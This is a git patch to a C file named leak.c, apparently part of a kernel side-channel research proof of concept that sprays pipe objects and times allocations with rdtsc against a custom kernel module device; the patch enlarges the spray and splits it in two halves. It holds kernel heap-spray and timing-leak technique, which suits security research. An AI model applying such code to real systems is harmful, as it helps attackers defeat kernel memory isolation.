From cf0c981dce05b372e062a19a48068088a2affc6c Mon Sep 17 00:00:00 2001 From: twoneis Date: Fri, 25 Apr 2025 10:12:22 +0200 Subject: [PATCH] don't reuse spots --- code/leak.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/code/leak.c b/code/leak.c index afee48220..b543bb6dd 100644 --- a/code/leak.c +++ b/code/leak.c @@ -12,7 +12,7 @@ // where does this come from? #define OBJS_PER_SLAB 42 -#define SPRAY (OBJS_PER_SLAB * 100) +#define SPRAY (OBJS_PER_SLAB * 200) #define PIPES (OBJS_PER_SLAB * 10) int spray[SPRAY][2]; @@ -48,7 +48,7 @@ main(void) FILE *device = fopen(LKM_DEVICE, "r+"); printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY); - for (size_t i = 0; i < SPRAY; i++) { + for (size_t i = 0; i < SPRAY / 2; i++) { int ret; ret = pipe2(spray[i], O_NONBLOCK); if (ret < 0) { @@ -104,7 +104,7 @@ main(void) size_t t_delta; size_t t_prev = -1; size_t last_slab = -1; - for (size_t i = 0; i < SPRAY; i++) { + for (size_t i = SPRAY / 2; i < SPRAY; i++) { pipe2(spray[i], O_NONBLOCK); size_t t0 = rdtsc_begin();